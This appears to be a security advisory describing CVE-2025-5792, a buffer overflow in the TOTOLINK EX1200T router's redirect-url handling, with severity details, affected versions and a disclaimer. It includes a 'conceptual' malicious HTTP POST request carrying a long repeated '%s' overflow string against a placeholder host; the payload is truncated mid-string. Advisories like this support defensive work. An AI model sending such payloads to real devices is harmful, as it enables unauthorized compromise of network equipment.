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CVE-2025-5792: Critical Buffer Overflow Vulnerability in TOTOLINK EX1200T

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Overview

Recently, a critical vulnerability has been discovered in TOTOLINK EX1200T 4.1.2cu.5232_B20210713. This vulnerability, identified as CVE-2025-5792, is of significant concern due to its severity and the potential for remote execution. It directly affects the HTTP POST Request Handler, potentially compromising the system and leaking sensitive data. As IT professionals, network administrators, and security officers, understanding the implications of this vulnerability is critical to maintaining secure networks.

Vulnerability Summary

CVE ID: CVE-2025-5792
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

TOTOLINK EX1200T | 4.1.2cu.5232_B20210713

How the Exploit Works

The vulnerability exists in the HTTP POST Request Handler’s processing of the file /boafrm/formWlanRedirect. Through the manipulation of the ‘redirect-url’ argument, an attacker can cause a buffer overflow. This overflow condition provides the attacker with the ability to execute arbitrary code or disrupt the normal operation of the system, potentially leading to system compromise or data leakage.

Conceptual Example Code

An attacker could exploit this vulnerability by sending a malicious HTTP POST request to the targeted system. A conceptual example of such a request might look like this:
“`http
POST /boafrm/formWlanRedirect HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
redirect-url=http://%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%s/%

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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